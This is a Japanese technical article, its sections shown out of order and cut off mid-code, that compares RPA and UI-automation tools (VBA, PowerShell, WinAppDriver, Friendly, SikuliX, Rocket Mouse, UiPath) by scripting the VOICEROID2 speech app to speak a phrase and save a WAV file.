click(Pattern("1558790905402.png").targetOffset(-45,-35))
type('a', Key.CTRL)
type(Key.DELETE)
paste(datetime.datetime.now().strftime("%Y%m%d%H%M%S.wav"))
type(Key.ENTER)
click(Pattern("1558790905402.png").targetOffset(-41,38))

# 情報のOKボタンクリック
click(Pattern("1558791076872.png").targetOffset(87,50))

# 消えるまでまつ
# 時間が読めない場合はregionとってexistsで消えるまで見る
wait(1)

# 葵ちゃん
click("1558791449664.png")
click(Pattern("1558790034069.png").targetOffset(-174,-16))
type('a', Key.CTRL)
type(Key.DELETE)
paste(u"オネエチャンカワイイヤッタ")

click(Pattern("1558790034069.png").targetOffset(-162,14))
wait(2)

click("1558791495218.png")

備考

・画像ファイル名になっている箇所はIDE上は画像が表示されます。またtargetOffsetについては赤い十字で表現されます。

・今回ためしたsikuliのバージョンは1.1.4で、使用しているPythonはJythonで2.7になります。また、Javaに組み込んでいるため、通常のPythonより使い勝手がわるい可能性があります。
 先に紹介したpyAutoGuiとの使い分けとしてはPythonでどの程度やらせるかが、一つの基準になるでしょう。

・マルチディスプレイの場合、1つめのディスプレイにないと動作しません。

・画像認識を使用しているのでウィンドウが隠れたりすると正常に動作しません。

・下記のコードは日本語を表示するためのものです。

import sys
reload(sys)
sys.setdefaultencoding('utf-8')

Rocket Mouose Proでアカネチャンカワイイヤッター

古くからあるツールで、1万円前後で入手できます。今回は14日使える試用版で作成しました。
いままで紹介したツールと違い、スクリプトなどは記載しません。

以下のように処理をGUIで列挙していく形になります。
image.png

このため、単純な処理は容易に作成できますが、複雑な分岐がある場合は対応できません。

Rocket Mouose Proによる実装と解説

https://github.com/mima3/rpa_akanechan/tree/master/rmpro

Rocket Mouseでは「最初の処理」、「繰り返しの処理」、「最後の処理」の3つありますが、今回は「最初の処理」と「最後の処理」のみ使用します。
また、最後の処理につては完了メッセージを表示するだけになります。

最初の処理1行目
image.png

image.png

テキストと再生ボタンの画像認識を行い、認識できた場合はテキストをクリックします。
認識できなければ「最期の処理の1行目」にジャンプし処理を終了します。

最初の処理2~4行目
image.png

この処理はキーボード操作でテキストをクリアしたのち、入力したい文字を入れています。

最初の処理5行目
image.png
image.png
これは最初の処理1行目とほぼ同じで押下している箇所が違うだけです。
今回は再生ボタンをおしています。

最初の処理6行目
image.png
image.png
この処理は「テキストを読み上げました」と表示されるまで無限ループをしています。

最初の処理7行目
ショートカットキーで音声保存をしています。

最初の処理8行目
image.png
「音声保存」というタイトルのウィンドウが表示されるまで待機します。

最初の処理9行目
image.png
image.png

OKボタンが表示されたらクリックする、されなければ終了としています。

最初の処理10行目
最初の処理8行目と同様に「名前を付けて保存」画面がでるまで待ちます。

最初の処理11行目
image.png

時刻を取得して書式を整えたあと、変数$now$に格納します。

最初の処理12~13
ファイル名に格納した変数$now$を設定後Enterを押します。
これにより名前を付けて保存ダイアログが終了します。

最初の処理14~15
「情報」というウィンドウが表示されるまでまち、表示されたらEnterを押して終了します。

最初の処理16~
あとは今まで出た内容と同じように、葵ちゃんを画像認識で選択後、しゃべらせています。

備考

・マルチディスプレイの場合、1つめのディスプレイにないと動作しません。

・また、条件分岐の制約上エラー処理に弱いです。たとえば、画像が見つからない場合に無限ループになったりします。

UiPathでアカネチャンカワイイヤッター

2018年のforresterの調査でRPAのリーダーと言わしめた製品になっています。
https://samfundsdesign.dk/siteassets/media/downloads/pdf/the_forrester_wave_rpa_2018_uipath_rpa_leader.pdf

今回の走者のなかで、唯一、数十、数百万のツールですが、実はいくつかの条件をみたすことで UiPath Community Editionを使用することができます。
https://www.uipath.com/ja/freetrial-or-community

今まで見てきたオブジェクト識別機能、画像による識別機能、操作記録は当然そろっており、フローチャートによるわかりやすいインターフェイスを提供しています。これは.NETのWFを使用しており、流れ図の部品にあたるアクティビティをカスタムアクティビティとして作成できます。
https://qiita.com/UmegayaRollcake/items/c9ff9a01b101ba9193fc

また、さらには国内製品唯一のアドバンテージだった日本語のローカライズも対応されています。
さすが、リーダーを自称し、他称されるだけの機能です。

UiStudioの起動

ライセンス認証をしたあとのUiPath.Studioの場所は以下になりました。
 C:\Users\名前\AppData\Local\UiPath\

プロジェクト

今回作成したプロジェクトのファイルは下記の通りです。
https://github.com/mima3/rpa_akanechan/tree/master/UiPathSample

image.png

シーケンスの中に「しゃべる+保存」アクティビティと「葵ちゃんに切り替え」アクティビティがあります。

しゃべる~保存アクティビティ

各UIの操作をひとつづ追加していくこともできますし、画面の操作をレコードしてあとで細かいところを修正することもできます。

変数の設定

シーケンス内で有効、アクティビティ内で有効といったスコープを極めて変数を定義できます。
image.png

設定値ではVB.NETの式が使用でき、今回は現在時刻のファイル名を構築してます。

処理の流れ

・テキストを入力して再生~完了まで
image.png

・音声保存
image.png

あかねちゃんに切り替えアクティビティ

UIPathでもタブの子要素になっている要素を検知することはできないので画像識別を利用します。
image.png

完走した感想

完走した感想ですが、色々と昔のツールが脱落して新規ツールが増えていきました。
まず、昔ながらのツールであるAutoHotKey,AutoIt,RocketMoude、UWSCのうち、UIAutomationでとれる内容を解析することができたのはUWSCだけでした。そしてそのUWSCもすでに命数が尽きています。
(もちろんCOMをサポートしているツールは頑張れば対応できますが、それをやるなら別の手段をとると思います。)
もはやWin32の時代でないと思うと諸行無常を感じます。

また、テスト工程で使うなら、Friendlyが魅力的です。テスト対象をかえずに、テスト用に魔改造が色々できそうです。

複数OS対応ならば、画像の範囲を工夫してSikulixか、pyAutoGuiを検討することになると思います。ただし、画像認識なのでいずれにしても、確実に動作させるのは難しいでしょう。

IT活用しない縛りのレギュレーションの会社ではVBAかPowerShellでUIAutomationをたたくしかないです。

あと、UIPathについては他の高価格帯と比較しないと意味がなさそうなので、ここでは言及しないでおきますが、たぶん触っておいて損はないと思います。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

RPA九人衆による「アカネチャンカワイイヤッタ」の自動化

レギュレーション

各RPAツールでVOICEROID2の茜ちゃんに「アカネチャンカワイイヤッタ」と言わせた後にファイルを保存します。
画像認識できる場合は葵ちゃんにもしゃべってもらいます。

環境:
 Window10 64bit
 VoiceRoide2

画面構成
スライド1.PNG

タブの中の子要素が取れない問題について:
https://teratail.com/questions/53276

保存時の画面遷移
スライド2.PNG

参加ツール

ツール名 簡単な説明
VBA + UIAutomation UIAutomationをCOM経由でVBAで実行して画面操作します。ツールに頼らない裸の強さを見せてくれます。
PowerShell + UIAutomation UIAutomationを.NET経由でPowerShellを使って実行します。Windows7以降ならOfficeすら不要という強さがあります。
WinAppDriver Microsoftが開発したSeleniumライクの自動操作を実現するツール。Seleniumを使うなら俺も使えという熱い気持ちが伝わってきます。
Friendly 本来はテストツール。操作対象のアプリにテスト用のDLLをインジェクションするという荒業をみせて、参加選手のなか唯一タブの中の要素を画像認識を使わずに操作した豪の物です。
PyAutoGUI Pythonでの自動操作を実現します。基本的に画像認識で操作を行いますが、旨く作ればMacでもLinuxでも動作します。最近のPythonブームによって躍進が期待されます。
UWSC 古のツールの中で唯一UIAutomationが認識できる要素を解析できたつわものです。バランスの取れたいい選手ですが、このたび公式サイトが閉鎖されるというアクシデントがあり引退がささやかれています。
sikulix 画像認識に特化したツール。IDEが使いやすくデザインされています。またJavaで動作してどこでも動くうえ、スクリプト自体はPythonやRuby,JavaScriptで記載できる欲張りセットになっております。
RocketMouse 昔からある自動操作ツール。画像認識はできるが、オブジェクトの認識はWin32で作ったものしかできません。今回は試用版による参加
UIPath 2018年のforresterの調査でRPAのリーダーと言わしめた製品。高価格帯からは唯一の参戦だが、Community版なら個人や小規模事業では使用できるというサプライズ。

なお、AutoIt選手とAutoHotKey選手につきましてはUIAutomationのCOMを触るためのIFを用意する必要があり、それ以外だと、画像認識しかできないので今回は欠場となっております。

アカネチャンカワイイヤッターの実行

VBA + UIAutomationでアカネチャンカワイイヤッター

Officeさえ入っていればWindowsの自動操作が行えます。
RPAツールなんていらんかったんや

画面上の要素を正確に捕捉できるため、違うPCでも動かしやすいという利点があります。
操作対象のオブジェクトの調査はInspectを用いて行うとよいでしょう。

inspect.png

VBAによる実装

https://github.com/mima3/rpa_akanechan/tree/master/vba(UIAutomationCom)

参照設定
image.png

Module1
Option Explicit


Public Sub Kawaii()
    Dim vr As New VoiceRoid
    Dim mainForm As IUIAutomationElement
    Set mainForm = vr.GetMainWindowByTitle(vr.GetRoot(), "VOICEROID2")
    If (mainForm Is Nothing) Then
        Set mainForm = vr.GetMainWindowByTitle(vr.GetRoot(), "VOICEROID2*")
        If (mainForm Is Nothing) Then
            MsgBox "VOICEROIDE2が起動していない"
            Exit Sub
        End If
    End If

    ' 茜ちゃんしゃべる
    Call vr.SetText(mainForm, 0, "アカネチャンカワイイヤッタ")
    Call vr.pushButton(mainForm, 0)

    ' しゃべり終わるまで待機
    Dim sts As String
    Do While sts <> "テキストの読み上げは完了しました。"
        sts = vr.GetStatusBarItemText(mainForm, 0)
        Call vr.SleepMilli(500)
    Loop

    ' 音声保存
    Call vr.pushButton(mainForm, 4)

    ' 5秒以内に音声保存画面が表示されたら保存ボタンを押す
    Dim saveWvForm As IUIAutomationElement
    Set saveWvForm = vr.WaitMainWindowByTitle(mainForm, "音声保存", 5)
    Call vr.pushButton(saveWvForm, 0)

    ' 名前を付けて保存に日付のファイル名を作る
    Dim saveFileForm As IUIAutomationElement
    Set saveFileForm = vr.WaitMainWindowByTitle(saveWvForm, "名前を付けて保存", 5)
    Call vr.SetTextById(saveFileForm, "1001", Format(Now(), "yyyymmddhhnnss.wav"))
    SendKeys "{ENTER}"

    ' 情報ポップアップのOKを押下
    Dim infoForm As IUIAutomationElement
    Set infoForm = vr.WaitMainWindowByTitle(saveWvForm, "情報", 60)
    Call vr.pushButton(infoForm, 0)
End Sub
VoiceRoid.cls
Option Explicit
Private uia As UIAutomationClient.CUIAutomation
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Class_Initialize()
    Set uia = New UIAutomationClient.CUIAutomation
End Sub
Private Sub Class_Terminate()
    Set uia = Nothing
End Sub
Public Sub SleepMilli(ByVal millisec As Long)
    Call Sleep(millisec)
End Sub
' ルートのディスクトップ要素を取得
Public Function GetRoot() As IUIAutomationElement
    Dim ret As IUIAutomationElement
    Set ret = uia.GetRootElement
    Set GetRoot = ret
End Function

' 指定の子ウィンドウをタイトルから取得する
Public Function GetMainWindowByTitle(ByRef form As IUIAutomationElement, ByVal name As String) As IUIAutomationElement
    Dim cnd As IUIAutomationCondition
    Dim ret As IUIAutomationElement
    Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_NamePropertyId, name)

    Set ret = form.FindFirst(TreeScope_Element Or TreeScope_Children, cnd)

    Set GetMainWindowByTitle = ret
End Function

' 指定の子ウィンドウをタイトルから取得できまで待機
Public Function WaitMainWindowByTitle(ByRef form As IUIAutomationElement, ByVal name As String, ByVal timeOutSec As Double) As IUIAutomationElement
    Dim start As Variant
    start = timer()
    Dim ret As IUIAutomationElement

    Set ret = GetMainWindowByTitle(form, name)
    Do While ret Is Nothing
        If timer() - start > timeOutSec Then
            Exit Function
        End If
        Set ret = GetMainWindowByTitle(form, name)
        Call SleepMilli(100)
    Loop
    Set WaitMainWindowByTitle = ret
End Function

' ボタンを指定Indexを押下する
Public Sub pushButton(ByRef form As IUIAutomationElement, ByVal ix As Long)
    Dim cnd As IUIAutomationCondition
    Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_ClassNamePropertyId, "Button")

    Dim list As IUIAutomationElementArray
    Set list = form.FindAll(TreeScope_Element Or TreeScope_Descendants, cnd)

    Dim ptn As IUIAutomationInvokePattern
    Set ptn = list.GetElement(ix).GetCurrentPattern(UIA_PatternIds.UIA_InvokePatternId)
    Call ptn.Invoke

End Sub


' 指定のClassNameがTextBoxに値を設定する
Public Sub SetText(ByRef form As IUIAutomationElement, ByVal ix As Long, ByVal text As String)
    Dim cnd As IUIAutomationCondition
    Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_ClassNamePropertyId, "TextBox")

    Dim list As IUIAutomationElementArray
    Set list = form.FindAll(TreeScope_Element Or TreeScope_Descendants, cnd)


    Dim editValue As IUIAutomationValuePattern
    Set editValue = list.GetElement(ix).GetCurrentPattern(UIA_PatternIds.UIA_ValuePatternId)
    Call editValue.SetValue(text)

End Sub

' 指定のAutomationIdでTextBoxに値を設定する
Public Sub SetTextById(ByRef form As IUIAutomationElement, ByVal id As String, ByVal text As String)
    Dim cnd As IUIAutomationCondition
    Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_AutomationIdPropertyId, id)

    Dim list As IUIAutomationElementArray
    Set list = form.FindAll(TreeScope_Element Or TreeScope_Descendants, cnd)


    Dim editValue As IUIAutomationValuePattern
    Set editValue = list.GetElement(0).GetCurrentPattern(UIA_PatternIds.UIA_ValuePatternId)
    Call editValue.SetValue(text)

End Sub

' 指定のClassNameがTextBoxの値を取得する
Public Function GetStatusBarItemText(ByRef form As IUIAutomationElement, ByVal ix As Long) As String
    Dim cnd As IUIAutomationCondition
    Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_ClassNamePropertyId, "StatusBarItem")

    Dim list As IUIAutomationElementArray
    Set list = form.FindAll(TreeScope_Element Or TreeScope_Descendants, cnd)

    GetStatusBarItemText = list.GetElement(ix).CurrentName

End Function

備考

・画像認識はUIAutomationの範囲からはずれるために実施していません。

・タブの子要素が取得できません。茜ちゃんから葵ちゃんに切り替えたり、感情を変更することができないことになります。

・UIAutomationで要素を検索して値の取得や操作をしているだけです。
 ただし、ディスクトップを検索する場合、直下の子供だけを検索するようにしないと時間がかかるので注意してください。

・名前を付けて保存時にファイル名入力後にENTERを押下しています。これはロストフォーカス時に入力前の文字にもどってしまう事象の対策です。他のツールにおいても同様の実装をおこなっています。

PowerShell+UIAutomationでアカネチャンカワイイヤッター

PowerShellさえ入っているWin7以降ならOfficeすら不要で自動操作ができます。
また、VBAに対するアドバンテージとしては、.NETの機能が簡単に利用できるようになったことです。
管理者権限がなければps1ファイルが実行できないという勘違いをしていましたが、実際はそんなことはないので、学習コストさえ払えるならPowerShellに移行したほうがよいでしょう。

PowerShellでの実装

https://github.com/mima3/rpa_akanechan/tree/master/powershell(UIAutomation.NET)

kawaii.ps1
Add-Type -AssemblyName UIAutomationClient
Add-Type -AssemblyName UIAutomationTypes
Add-type -AssemblyName System.Windows.Forms

$source = @"
using System;
using System.Windows.Automation;
public class AutomationHelper
{
    public static AutomationElement RootElement
    {
        get
        {
            return AutomationElement.RootElement;
        }
    }
    public static AutomationElement GetMainWindowByTitle(string title) {
        PropertyCondition cond = new PropertyCondition(AutomationElement.NameProperty, title);
        return RootElement.FindFirst(TreeScope.Children, cond);
    }

    public static AutomationElement ChildWindowByTitle(AutomationElement parent , string title) {
        try {
            PropertyCondition cond = new PropertyCondition(AutomationElement.NameProperty, title);
            return parent.FindFirst(TreeScope.Children, cond);
        } catch {
            return null;
        }
    }
    public static AutomationElement WaitChildWindowByTitle(AutomationElement parent, string title, int timeout = 10) {
        DateTime start = DateTime.Now;
        while (true) {
            AutomationElement ret = ChildWindowByTitle(parent, title);
            if (ret != null) {
                return ret;
            }
            TimeSpan ts = DateTime.Now - start;
            if (ts.TotalSeconds > timeout) {
               return null;
            }
            System.Threading.Thread.Sleep(100);
        }
    }
}
"@
Add-Type -TypeDefinition $source -ReferencedAssemblies("UIAutomationClient", "UIAutomationTypes")

# 5.0以降ならusingで記載した方が楽。
$autoElem = [System.Windows.Automation.AutomationElement]

# ウィンドウ以下で指定の条件に当てはまるコントロールを全て列挙
function findAllElements($form, $condProp, $condValue) {
    $cond = New-Object -TypeName System.Windows.Automation.PropertyCondition($condProp, $condValue)
    return $form.FindAll([System.Windows.Automation.TreeScope]::Element -bor [System.Windows.Automation.TreeScope]::Descendants, $cond)
}

# ウィンドウ以下で指定の条件に当てはまるコントロールを1つ取得
function findFirstElement($form, $condProp, $condValue) {
    $cond = New-Object -TypeName System.Windows.Automation.PropertyCondition($condProp, $condValue)
    return $form.FindFirst([System.Windows.Automation.TreeScope]::Element -bor [System.Windows.Automation.TreeScope]::Descendants, $cond)
}

# 要素をValuePatternに変換
function convertValuePattern($elem) {
    return $elem.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern) -as [System.Windows.Automation.ValuePattern]
}

# 指定の要素をボタンとみなして押下する
function pushButton($form, $index) {
    $buttonElemes = findAllElements $form $autoElem::ClassNameProperty "Button"
    $invElm = $buttonElemes[$index].GetCurrentPattern([System.Windows.Automation.InvokePattern]::Pattern) -as [System.Windows.Automation.InvokePattern]
    $invElm.Invoke()
}

# 指定のAutomationIDのボタンを押下
function pushButtonById($form, $id) {
    $buttonElem = findFirstElement $form $autoElem::AutomationIdProperty $id
    $invElm = $buttonElem.GetCurrentPattern([System.Windows.Automation.InvokePattern]::Pattern) -as [System.Windows.Automation.InvokePattern]
    $invElm.Invoke()
}

# 指定の内容をしゃべらせる
function speakText($mainForm, $message) {
    try {
        # テキストの検索
        $textboxElems = findAllElements $mainForm $autoElem::ClassNameProperty "TextBox"
        $messageValuePtn = convertValuePattern $textboxElems[0]
        $messageValuePtn.SetValue($message);

        # 音声保存ボタン押下
        pushButton $mainForm 0

        # 読み上げ中は待機
        $cond = New-Object -TypeName System.Windows.Automation.PropertyCondition([System.Windows.Automation.AutomationElement]::NameProperty, "テキストの読み上げは完了しました。")
        do
        {
          Start-Sleep -m 500 
          $elems = $mainForm.FindAll([System.Windows.Automation.TreeScope]::Element -bor [System.Windows.Automation.TreeScope]::Descendants, $cond)
        }
        while ($elems.Count -eq 0)

        return $True
    } catch {
        Write-Error "ファイルの保存に失敗しました"
        $_
        return $False
    }
}

# しゃべる内容を設定後指定のファイルに保存
function saveText($mainForm , $message, $outPath) {
    try {
        # テキストの検索
        $textboxElems = findAllElements $mainForm $autoElem::ClassNameProperty "TextBox"
        $messageValuePtn = convertValuePattern $textboxElems[0]
        $messageValuePtn.SetValue($message);

        # 音声保存ボタン押下
        pushButton $mainForm 4

        #音声保存ウィンドウが表示される可能性
        $saveWvForm = [AutomationHelper]::WaitChildWindowByTitle($mainForm, "音声保存", 2)
        pushButton $saveWvForm 0

        #名前を付けて保存
        $saveFileForm = [AutomationHelper]::WaitChildWindowByTitle($saveWvForm, "名前を付けて保存", 5)
        if ($saveFileForm -eq $null) {
            return $False;
        }
        $txtFilePathElem = findFirstElement $saveFileForm $autoElem::AutomationIdProperty "1001"
        $txtFilePathValuePtn = convertValuePattern $txtFilePathElem
        $txtFilePathValuePtn.SetValue($outPath);
        [System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
        #エンターでないとコンボボックスが効いて、元に戻る。
        #pushButtonById $saveFileForm "1"

        # ここでファイルの上書きがtxtとwav分でる可能性があるが、ファイル名を一意にすることで回避すること

        # 情報ポップアップがでるまで待機
        $infoWin = [AutomationHelper]::WaitChildWindowByTitle($saveWvForm, "情報", 60)
        if ($infoWin -eq $null) {
            return $False;
        }
        pushButton $infoWin 0
        return $True
    }
    catch {
        Write-Error "ファイルの保存に失敗しました"
        $_
        return $False
    }

}

# メイン処理
$mainForm = [AutomationHelper]::GetMainWindowByTitle("VOICEROID2")
if ($mainForm -eq $null) {
    $mainForm = [AutomationHelper]::GetMainWindowByTitle("VOICEROID2*")
}
if ($mainForm -eq $null) {
    Write-Error "VOICEROID2を起動してください"
    exit 1
}

# しゃべる
$ret = speakText $mainForm 'アカネチャンカワイイヤッタ'
if ($ret -eq $False ) {
    exit
}

# 保存する
$fileName =  Get-Date -Format "yyyyMMddHHmmss.wav"
saveText $mainForm 'アカネチャンカワイイヤッタ' $fileName

備考

・タブにたいする制限はVBAのUIAutomationと同じです。

・PowerShell中にC#のコードを埋め込んでいる理由は「名前を付けて保存」ダイアログを操作するためです。
 下記を参照してください。
 >PowerShellのUIAutomationは複雑怪奇なり

・using等の新しい機能は使わないようにしているのでPowershell2.0あたりでも動くと思います(未検証)

WinAppDriverでアカネチャンカワイイヤッター

Seleniumライクな操作でWindowsアプリを操作するためにマイクロソフトが開発したツールです。Seleniumの操作とほぼ同じなので、学習コストは低くなることが期待できます。

その構成は以下のようになります。

RPA画面構成.png

操作プログラムは操作対象のプログラムを直接操作するのでなくWebAppDriver経由で操作をおこないます。
操作プログラムとWebAppDriverの間は下記のようなJSONデータでやりとりが行われています。

image.png

WebAppDriverはダウンロードページ から入手してください。

WinAppDriverUiRecorderについて

XPathを用いてWindowの要素を操作するのですが、そのXPathの検査にはWinAppDriverUiRecorderを使用します。

RPA画面構成.png

C# Codeのタブを選択すると行った操作の内容の実装例が表示されます。
image.png

ただし、基本的にあてにはならないのでXPathの参考程度にするといいでしょう。
またマルチディスプレイで作業している場合、1つめのディスプレイしか認識しないので注意してください。

WinAppDriverを使用した実装

https://github.com/mima3/rpa_akanechan/tree/master/visualstudio/WinAppDriverSemple

NuGetで取得した資材。
 ・Appium.WebDriver v3.0.0.2

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using OpenQA.Selenium.Appium.Windows;
using OpenQA.Selenium.Remote;
using OpenQA.Selenium;
using System.Globalization;

namespace WinAppDriverSemple
{

    class Program
    {
        static WindowsDriver<WindowsElement> desktopSession;
        private const string WindowsApplicationDriverUrl = "http://127.0.0.1:4723/";

        // 指定の要素が検索できるまで待機する
        public static WindowsElement WaitElementByAbsoluteXPath(WindowsDriver<WindowsElement> root, string xPath, int nTryCount = 15)
        {
            WindowsElement uiTarget = null;

            while (nTryCount-- > 0)
            {
                try
                {
                    uiTarget = root.FindElementByXPath(xPath);
                }
                catch
                {
                }

                if (uiTarget != null)
                {
                    break;
                }
                else
                {
                    System.Threading.Thread.Sleep(500);
                }
            }

            return uiTarget;
        }


        static void Main(string[] args)
        {
            // DesktopからVOCAROID2を検索
            DesiredCapabilities desktopCapabilities = new DesiredCapabilities();
            desktopCapabilities.SetCapability("app", "Root");
            desktopCapabilities.SetCapability("deviceName", "WindowsPC");
            desktopSession = new WindowsDriver<WindowsElement>(new Uri(WindowsApplicationDriverUrl), desktopCapabilities);
            String hwnd;
            WindowsElement appElem;
            appElem = desktopSession.FindElementByName("VOICEROID2");
            hwnd = appElem.GetAttribute("NativeWindowHandle");
            if (hwnd.Equals("0"))
            {
                appElem = desktopSession.FindElementByName("VOICEROID2*");
                hwnd = appElem.GetAttribute("NativeWindowHandle");
            }
            DesiredCapabilities appCapabilities = new DesiredCapabilities();
            hwnd = int.Parse(hwnd).ToString("x");
            appCapabilities.SetCapability("appTopLevelWindow", hwnd);
            WindowsDriver<WindowsElement> appSession = new WindowsDriver<WindowsElement>(new Uri(WindowsApplicationDriverUrl), appCapabilities);

            // しゃべらせる
            var txtMsg = appSession.FindElementByXPath("//Edit[@AutomationId=\"TextBox\"]");
            txtMsg.Click();
            // 英語キーボードじゃないと記号が旨く送信できない(Seleniumの仕様っぽい)
            txtMsg.SendKeys(Keys.LeftControl + "a");
            txtMsg.SendKeys(Keys.Delete);
            txtMsg.SendKeys("アカネチャンカワイイヤッタ");

            var btnPlay = appSession.FindElementByXPath("//Button[@ClassName=\"Button\"]/Text[@ClassName=\"TextBlock\"][@Name=\"再生\"]");
            btnPlay.Click();

            // 保存開始
            var statusBar = WaitElementByAbsoluteXPath(appSession, "//StatusBar[@ClassName =\"StatusBar\"]/Text[@ClassName=\"StatusBarItem\"][@Name=\"テキストの読み上げは完了しました。\"]/Text[@ClassName=\"TextBlock\"][@Name=\"テキストの読み上げは完了しました。\"]");
            if (statusBar == null)
            {
                Console.Error.WriteLine("読み上げ失敗");
                return;
            }

            var btnSave = appSession.FindElementByXPath("//Button[@ClassName=\"Button\"]/Text[@ClassName=\"TextBlock\"][@Name=\"音声保存\"]");
            btnSave.Click();


            // 音声保存画面でOK押下
            var btnSaveOk = appSession.FindElementByXPath("//Window[@ClassName =\"Window\"][@Name=\"音声保存\"]/Button[@ClassName=\"Button\"][@Name=\"OK\"]");
            btnSaveOk.Click();

            // 名前を付けて保存
            var txtFileName = appSession.FindElementByXPath("//Window[@ClassName=\"#32770\"][@Name=\"名前を付けて保存\"]/Pane[@ClassName=\"DUIViewWndClassName\"]/ComboBox[@Name=\"ファイル名:\"][@AutomationId=\"FileNameControlHost\"]/Edit[@ClassName=\"Edit\"][@Name=\"ファイル名:\"]");
            String hankakuKey = Convert.ToString(Convert.ToChar(0xE0 + 244, CultureInfo.InvariantCulture), CultureInfo.InvariantCulture);
            // 英字キーボードだと以下のキーで半角全角切り替えになる
            txtFileName.SendKeys("`"); // 0xFF40

            txtFileName.SendKeys(Keys.LeftControl + "a");
            txtFileName.SendKeys(Keys.Delete);
            //
            txtFileName.SendKeys(System.DateTime.Now.ToString("yyyymMMddhhmmss") + ".wav");
            txtFileName.SendKeys(Keys.Enter);


            //
            var infoOk = WaitElementByAbsoluteXPath(appSession, "//Window[@ClassName=\"#32770\"][@Name=\"情報\"]/Button[@ClassName=\"Button\"][@Name=\"OK\"]");
            infoOk.Click();

        }
    }
}

備考

・Windows10でしか動作しません。

・WinAppDriverで公開されているものはテストコードとUIRecorderのみです。WinAppDriver自体のコードは公開されていません。

・UIAutomation同様、タブの子要素が取得できません。

日本語キーボードの場合、記号が正常に表示されません。
 例:editBox.SendKeys("a/b\c"); // →a/b]c
 https://github.com/Microsoft/WinAppDriver/issues/194

・XPathで要素の指定は容易に行えます。しかしながらパフォーマンスがUIAutomationに比べてかなり落ちます。
 今回はすこしでも早くなることを期待して、ディスクトップのルートからでなく、アプリケーションから検索するようにしています。

・名前を付けて保存をする際のファイル名がどうしても全角になってしまい、そこを「`」を送信することでごまかしています。

Friendlyでアカネチャンカワイイヤッター

操作プログラムが使用しているFrendlyが操作対象の茜ちゃんにDLLインジェクションをします。
それにより、そこでプロセス間通信を行い画面の要素の情報を取得しています。

image.png

この仕組みのため、マイクロソフト製のUIAutomationとWinAppDriverでも、やれないことを平然とやってのけます。そこにしびれるあこがれる~!!!
ただし、操作対象のアプリケーションにテスト用のDLLを差し込んだものをテストや運用で使っていいのかという問題がありますので導入時にはよく検討すべきです。一方、単体テストや、再起動可能な画面の自動操作では非常に強力なライブラリです。

日本の会社が作った仕組みなので、公式サイトのドキュメントをみるのが一番いいでしょう。
また、GitHubにコードが公開されています。

Friendlyでの実装例を教えてくれるTestAssistantツール

TestAssistantというツールが提供されており、画面の要素の調査がおこなえます。
要素を選択してコードのサンプルを作成したり、実際作成したサンプルをツール上で実行できたりと、かなり強力なツールになっています。

RPA画面構成.png

同一アプリに対する操作について

同一アプリに複数のプロセスがFriendlyを使用して操作すると以下のエラーを出力してエラーになります。

エラー内容
型 'Codeer.Friendly.FriendlyOperationException' のハンドルされていない例外が Codeer.Friendly.Windows.dll で発生しました

追加情報:アプリケーションとの通信に失敗しました。

対象アプリケーションが通信不能な状態になったか、

シリアライズ不可能な型のデータを転送しようとした可能性があります。

たとえば、TestAssistantで要素を調べならがら、コードを書いている場合によく遭遇します。
この場合は、操作対象のアプリケーションを起動しなおす必要があります。

ウィルスバスターの検知

設定によってはウィルスバスターによって誤検知されるので注意してください。

image.png

Friendlyによる実装

https://github.com/mima3/rpa_akanechan/tree/master/visualstudio/FriendlySample

Nugetで取得したもの
・Codeer.Friendly
・Codeer.Friendly.Windows
・Codeer.Friendly.Windows.Grasp
・Codeer.Friendly.Windows.NativeStandardControls
・Codeer.TestAssistant.GeneratorToolKit
・RM.Friendly.WPFStandardControls

Program.cs
using Codeer.Friendly;
using Codeer.Friendly.Windows;
using Codeer.Friendly.Windows.Grasp;
using RM.Friendly.WPFStandardControls;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Codeer.Friendly.Windows.NativeStandardControls;
using Codeer.Friendly.Dynamic;

namespace AkanechanKawaii
{
    class Program
    {
        static void Main(string[] args)
        {
            // プロセスの取得
            Process[] ps = Process.GetProcessesByName("VoiceroidEditor");
            if (ps.Length == 0)
            {
                Console.Error.WriteLine("VOICEROID2を起動してください");
                return;
            }

            // WindowsAppFriendをプロセスから作成する
            // 接続できない旨のエラーの場合、別のプロセスでテスト対象のプロセスを操作している場合がある。
            // TestAssistant使いながら動作できないようなので、注意。
            var app = new WindowsAppFriend(ps[0]);

            var mainWindow = WindowControl.FromZTop(app);

            // 茜ちゃんしゃべる
            WPFTextBox txtMessage = new WPFTextBox(mainWindow.IdentifyFromLogicalTreeIndex(0, 4, 3, 5, 3, 0, 2));
            txtMessage.EmulateChangeText("アカネチャンカワイイヤッタ");

            WPFButtonBase btnPlay = new WPFButtonBase(mainWindow.IdentifyFromLogicalTreeIndex(0, 4, 3, 5, 3, 0, 3, 0));
            btnPlay.EmulateClick();

            // ステータスバーを監視してしゃべり終わるまでまつ
            String sts;
            do
            {
                System.Threading.Thread.Sleep(500);
                var txtStatusItem = mainWindow.IdentifyFromVisualTreeIndex(0, 0, 0, 0, 2, 0, 0, 0, 4, 0, 0, 0).Dynamic(); ;
                sts = txtStatusItem.Text.ToString();
            } while (!sts.Equals("テキストの読み上げは完了しました。"));

            // 保存ボタン押下
            // ダイアログが表示されると引数なしのEmulateClickだと止まるのでAsyncオブジェクトを渡しておく
            var async = new Async();
            WPFButtonBase btnSave = new WPFButtonBase(mainWindow.IdentifyFromLogicalTreeIndex(0, 4, 3, 5, 3, 0, 3, 5));
            btnSave.EmulateClick(async);

            // 音声保存ダイアログ操作
            var dlgSaveWav = mainWindow.WaitForNextModal();
            var asyncSaveWin = new Async();
            WPFButtonBase buttonOK = new WPFButtonBase(dlgSaveWav.IdentifyFromLogicalTreeIndex(0, 1, 0));
            buttonOK.EmulateClick(asyncSaveWin);

            // ファイル名指定後の保存
            var asyncSaveFile = new Async();
